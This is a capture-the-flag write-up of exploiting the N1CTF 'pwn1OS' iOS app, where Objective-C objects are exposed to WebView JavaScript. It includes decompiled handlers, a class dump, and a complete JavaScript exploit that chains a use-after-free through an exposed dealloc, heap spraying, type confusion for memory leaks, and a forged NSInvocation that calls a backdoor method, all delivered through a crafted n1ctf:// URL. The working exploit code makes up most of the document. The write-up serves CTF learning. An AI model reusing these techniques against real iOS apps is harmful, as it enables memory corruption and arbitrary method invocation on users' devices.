From JavaScript to Objective-C: iOS Userland Exploitation, pwn1OS in N1CTF
Thank the author for the great challenge. We S1uM4i got the first blood of this challenge and we are the only team that solved it. The challenge is very interesting and I learned a lot from it. I will try to explain the exploitation in detail.
Analysis
The application registers a URL Scheme, you can find it in Info.plist
1 2 3 4 <key > CFBundleURLSchemes</key > <array > <string > n1ctf</string > </array >
So we can open the application by opening a URL like n1ctf://aaa/bbb/ccc
. The application will parse the URL and do some actions according to the URL.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 void __cdecl -[SceneDelegate scene:openURLContexts:](SceneDelegate *self , SEL a2, id a3, id a4){ id v4; void *v5; void *v6; void *v7; const char *v8; __int64 v9; void *v10; __int64 v11; SEL v12; SceneDelegate *v13; v4 = a4; v13 = self ; v12 = a2; v11 = 0 LL; objc_storeStrong(); v10 = 0 LL; objc_storeStrong(); objc_msgSend_allObjects(v10, v8, v4); v5 = (void *)objc_retainAutoreleasedReturnValue(); objc_msgSend_firstObject(v5, v8); v6 = (void *)objc_retainAutoreleasedReturnValue(); objc_msgSend_URL(v6, v8); v9 = objc_retainAutoreleasedReturnValue(); objc_release(v6); objc_release(v5); objc_msgSend_defaultCenter(&OBJC_CLASS___NSNotificationCenter, v8); v7 = (void *)objc_retainAutoreleasedReturnValue(); objc_msgSend_postNotificationName_object_(v7, v8, CFSTR ("openWebView" ), v9); objc_release(v7); objc_storeStrong(); objc_storeStrong(); objc_storeStrong(); } void __cdecl -[ViewController didReceiveNotification:](ViewController *self , SEL a2, id a3){ void *v3; __int64 v4; void *v5; __int64 v6; __int64 v7; void *v8; char v9; __int64 v10; void *v11; __int64 v12; __int64 v13; __int64 v14; void *v15; void *v16; void *v17; const char *v18; void *v19; char v20; __int64 v21; __int64 *v22; void *v23; void *v24; void *v25; int v26; void *host; void *scheme; __int128 v29; SEL v30; ViewController *v31; char v32; v31 = self ; v30 = a2; objc_storeStrong(); objc_msgSend_object(0 LL, v18); v29 = (unsigned __int64)objc_retainAutoreleasedReturnValue(); objc_msgSend_scheme((void *)v29, v18); scheme = (void *)objc_retainAutoreleasedReturnValue(); objc_msgSend_host((void *)v29, v18); host = (void *)objc_retainAutoreleasedReturnValue(); if ( (unsigned __int64)objc_msgSend_isEqualToString_(scheme, v18, CFSTR ("n1ctf" )) & 1 && (unsigned __int64)objc_msgSend_isEqualToString_(host, v18, CFSTR ("web" )) & 1 ) { v3 = (void *)objc_alloc(&OBJC_CLASS___NSURLComponents); objc_msgSend_absoluteString((void *)v29, v18); v4 = objc_retainAutoreleasedReturnValue(); v25 = objc_msgSend_initWithString_(v3, v18); objc_release(v4); v24 = objc_msgSend_new(&OBJC_CLASS___NSMutableDictionary, v18); memset(&v20, 0 , 0x40 uLL); objc_msgSend_queryItems(v25, v18); v16 = (void *)objc_retainAutoreleasedReturnValue(); v17 = objc_msgSend_countByEnumeratingWithState_objects_count_(v16, v18, &v20, &v32, 16 LL); if ( v17 ) { v13 = *v22; v14 = 0 LL; v15 = v17; while ( 1 ) { v12 = v14; if ( *v22 != v13 ) objc_enumerationMutation(v16); v23 = *(void **)(v21 + 8 * v14); v5 = v24; objc_msgSend_value(v23, v18); v6 = objc_retainAutoreleasedReturnValue(); objc_msgSend_name(v23, v18); v7 = objc_retainAutoreleasedReturnValue(); objc_msgSend_setValue_forKey_(v5, v18, v6); objc_release(v7); objc_release(v6); ++v14; if ( v12 + 1 >= (unsigned __int64)v15 ) { v14 = 0 LL; v15 = objc_msgSend_countByEnumeratingWithState_objects_count_(v16, v18, &v20, &v32, 16 LL); if ( !v15 ) break ; } } } objc_release(v16); objc_msgSend_allKeys(v24, v18); v8 = (void *)objc_retainAutoreleasedReturnValue(); v9 = (unsigned __int64)objc_msgSend_containsObject_(v8, v18, CFSTR ("url" )); objc_release(v8); if ( v9 & 1 ) { v19 = objc_msgSend_new(&OBJC_CLASS___WebViewController, v18); objc_msgSend_objectForKeyedSubscript_(v24, v18, CFSTR ("url" )); v10 = objc_retainAutoreleasedReturnValue(); objc_msgSend_setUrlString_(v19, v18); objc_release(v10); objc_msgSend_navigationController(v31, v18); v11 = (void *)objc_retainAutoreleasedReturnValue(); objc_msgSend_pushViewController_animated_(v11, v18, v19, 1 LL); objc_release(v11); objc_storeStrong(); } objc_storeStrong(); objc_storeStrong(); v26 = 0 ; } else { v26 = 1 ; } objc_storeStrong(); objc_storeStrong(); objc_storeStrong(); objc_storeStrong(); }
Then do a classical class dump first
1 2 3 4 5 6 7 8 9 10 11 @interface ScriptInterface : NSObject @end @interface CoreService : ScriptInterface @end @interface N1CTFIntroduction : ScriptInterface @end @interface HTTRequest : ScriptInterface @end
And an instance of ScriptInterface
is explosed to the context of JavaScript
1 2 3 v11 = objc_msgSend_new(&OBJC_CLASS___ScriptInterface, v18); objc_msgSend_setValue_forKey_(v10, v18); objc_release(v11);
All these are the subclass of ScriptInterface
. So we can call their methods in the context of JavaScript.
Also
1 + (_Bool)isSelectorExcludedFromWebScript:(SEL)arg1;
always returns NO
, which means all the methods are exposed to JavaScript. Considering the following code:
1 2 3 a = n1ctf.$makeCoreService(); window .a = a;a.dealloc();
We can see that the dealloc
method is exposed to JavaScript. So we can call dealloc
on any object to free it. This is a very powerful primitive that let us use after free any ScriptInterface
and subclass object.
In -[CoreService dealloc]
, it will call -[NSInvocation invoke]
on its property @property NSInvocation * cancelRequest;
. So we can craft a fake NSInvocation
object to call any method on any object. For example, +[BackDoor getFlag:]
. (Actually in a challenge designed by me for my undergraduate school’s CTF, there is a similar technique, e.g. using NSInvocation
to call arbitrary C functions`)
To build up the addrof()
primitive, we can make use of the error message when calling a non-exist method on and object. I took the implementation from CodeColorist’s writeup for CVE-2021-1748
1 2 3 4 5 6 7 8 9 10 11 12 function addrof (obj ) { n1ctf.$setChallenge_(obj) try { n1ctf.$challenge() } catch (e) { console .debug(e) const match = /instance (0x[\da-f]+)$/i .exec(e) if (match) return match[1 ] throw new Error ('Failed' ) } finally { } }
Another challenge is how to do the heap spray. Luckily we have a method
1 2 3 4 5 6 7 8 9 10 11 @interface HTTRequest : ScriptInterface { NSData *_data; } - (void ).cxx_destruct; @property (retain , nonatomic ) NSData *data; - (void )describeObject:(id )arg1:(id )arg2; - (void )addMultiPartData:(id )arg1; @end
-[HTTRequest addMultiPartData:]
takes a base64 encoded string as input, and decodes it to store in NSData *_data
. So we can use this method to do heap spray.
Exploit
So the exploitation looks like this:
Free a CoreService
object
Reallocate it and perform a type confusion, convert it to a NSConcreteData
object to do memory disclosure
Leak dyld_shared_cache, pwn1OS base address, tagged NSMethodSignature
address and cookie
Set up the arguments for +[BackDoor getFlag:]
Craft fake NSInvocation
object to call +[BackDoor getFlag:]
Script
I have no idea about how to write elegant JavaScript so don’t blame me.
The full payload generated script is here:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 String .prototype.toDataURI = function ( ) { return 'data:text/html;,' + encodeURIComponent (this ).replace(/[!'()*]/g , escape ); } function payload ( ) { function hexToBase64 (hexstring ) { return btoa(hexstring.match(/\w{2}/g ).map(function (a ) { return String .fromCharCode(parseInt (a, 16 )); }).join("" )); } function p64 (data ) { data = BigInt (data) str_data = data.toString(16 ); str_data = str_data.padStart(16 , '0' ); str_data = str_data.match(/\w{2}/g ).reverse().join("" ); return str_data; } var offsets = { base_address : 0x0000000100000000 , corefoundation_base : 0x0000000180329000 , NSArrayI_Class : 0x00000001DE53ABF8 , NSInvocation_Class : 0x00000001de53a658 , NSBooleanFalse : 0x00000001da63a0b8 , NSData_Class : 0x00000001DE3719C8 , NSConcreteData_Class : 0x00000001de542370 , foundation_corefoundation_offset :0x1311000 , foundation_base : 0x000000018163A000 , HTTRequest_Class : 0x0000000100013300 , CoreService_Class : 0x0000000100013238 , BackDoor_Class : 0x0000000100013120 , getFlag_SEL : 0x000000010000D99B }; function addrof (obj ) { n1ctf.$setChallenge_(obj) try { n1ctf.$challenge() } catch (e) { console .debug(e) const match = /instance (0x[\da-f]+)$/i .exec(e) if (match) return match[1 ] throw new Error ('Failed' ) } finally { } } function process_leak_data (leak ) { leak = leak.split('bytes = ' )[1 ].split('}' )[0 ] leak = leak.slice(2 ); leak = leak.match(/\w{16}/g ); leak = leak.map(x => x.match(/\w{2}/g ).reverse().join("" )); leak = leak.map(x => BigInt ("0x" + x, 16 )); return leak; } c1 = n1ctf.$makeCoreService() window .c1 = c1; window .data_array = []; corefoundation_addr = addrof(false ) n1ctf.$DEBUGLOG_(corefoundation_addr); corefoundation_addr = parseInt (corefoundation_addr, 16 ) corefoundation_addr -= offsets.NSBooleanFalse; corefoundation_slide = corefoundation_addr; corefoundation_addr += offsets.corefoundation_base; foundation_addr = corefoundation_addr + offsets.foundation_corefoundation_offset; foundation_slide = foundation_addr - offsets.foundation_base; coreservice = n1ctf.$makeCoreService(); coreservice_addr = addrof(coreservice) n1ctf.$DEBUGLOG_(coreservice_addr); coreservice_addr = parseInt (coreservice_addr, 16 ); req = n1ctf.$makeHTTRequest(); req_addr = addrof(req); req_addr = parseInt (req_addr, 16 ); c1_addr = addrof(c1); c1_addr = parseInt (c1_addr, 16 ); dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24 ) + p64(c1_addr) + p64(0 ) + p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24 ) window .coreservice = coreservice; coreservice.dealloc(); for (let i = 0 ; i < 0x90 ; i++) { req.addMultiPartData_(hexToBase64(dt)); window .data_array.push(req.data()); } n1ctf.$describeObject__(coreservice); leak_data = `${coreservice} ` leak_data = process_leak_data(leak_data); pwn1OS_base = leak_data[0 ] & 0xFFFFFFFFFFFFFn ; pwn1OS_base -= (BigInt (offsets.CoreService_Class) + 1n ); pwn1OS_base += 0x0000000100000000n ; c1_invocation_addr = addrof(c1.$cancelRequest()); c1_invocation_addr = parseInt (c1_invocation_addr, 16 ); n1ctf.$DEBUGLOG_("target: " + c1_invocation_addr.toString(16 )); n1ctf.$DEBUGLOG_("fake NSConcreteData: " + addrof(window .coreservice)); dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24 ) + p64(c1_invocation_addr + 0x18 ) + p64(0 ) + p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24 ) coreservice.dealloc(); window .data_array = []; for (let i = 0 ; i < 0x90 ; i++) { req.addMultiPartData_(hexToBase64(dt)); window .data_array.push(req.data()); } leak_data = `${coreservice} ` n1ctf.$DEBUGLOG_("leak tagged NSMethodSignature" ); leak_data = process_leak_data(leak_data); tagged_NSMethodSignature = leak_data[0 ] c2 = n1ctf.$makeCoreService(); window .c2 = c2; n1ctf.$DEBUGLOG_("target: " + c1_invocation_addr.toString(16 )); n1ctf.$DEBUGLOG_("fake NSConcreteData: " + addrof(window .c2)); dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24 ) + p64(c1_invocation_addr + 0x30 ) + p64(0 ) + p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24 ) n1ctf.$makeN1CTFIntroduction(); c2.dealloc(); window .data_array2 = []; for (let i = 0 ; i < 0x90 ; i++) { req.addMultiPartData_(hexToBase64(dt)); window .data_array2.push(req.data()); } introduction1 = n1ctf.$makeN1CTFIntroduction(); leak_data = `${c2} ` n1ctf.$DEBUGLOG_("leak cookie" ); leak_data = process_leak_data(leak_data); cookie = leak_data[2 ] window .introduction1 = introduction1; introduction1_addr = addrof(introduction1); introduction1_addr = parseInt (introduction1_addr, 16 ); n1ctf.$DEBUGLOG_("introduction1_addr: " + introduction1_addr.toString(16 )); window .data_array3 = []; window .c1.$setCancelRequest_(window .introduction1); n1i1 = n1ctf.$makeN1CTFIntroduction(); n1i2 = n1ctf.$makeN1CTFIntroduction(); n1i3 = n1ctf.$makeN1CTFIntroduction(); n1i1.setP_("http://aaa.aaa.aaa.aaa:aaaaa///pleasegivemetheflag" ); addrof_p = addrof(n1i1.p()); n1i2.dealloc(); n1i3.dealloc(); n1ctf.$DEBUGLOG_("spray fake NSInvocation" ); fake_invok = p64(corefoundation_slide + offsets.NSInvocation_Class) + p64(introduction1_addr +0x50 ) + p64(introduction1_addr + 0x80 ) + p64(tagged_NSMethodSignature) + p64(0 ) + p64(0 ) + p64(pwn1OS_base-BigInt (offsets.base_address)+BigInt (offsets.BackDoor_Class)) + p64(pwn1OS_base-BigInt (offsets.base_address)+BigInt (offsets.getFlag_SEL)) + p64(cookie) + p64(0 ) + p64(pwn1OS_base-BigInt (offsets.base_address)+BigInt (offsets.BackDoor_Class)) + p64(pwn1OS_base-BigInt (offsets.base_address)+BigInt (offsets.getFlag_SEL)) + p64(addrof_p) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) introduction1.$dealloc(); for (let i = 0 ; i < 0x90 ; i++) { req.addMultiPartData_(hexToBase64(fake_invok)) window .data_array3.push(req.data()); } n1ctf.$describeObject__(introduction1); c1.dealloc(); } data = `<script type="application/javascript">(${payload} )()</script>` .toDataURI() url = new URL('n1ctf://web/fyou?url=fme' ) url.searchParams.set('url' , data); url.toString() console .log(url.toString())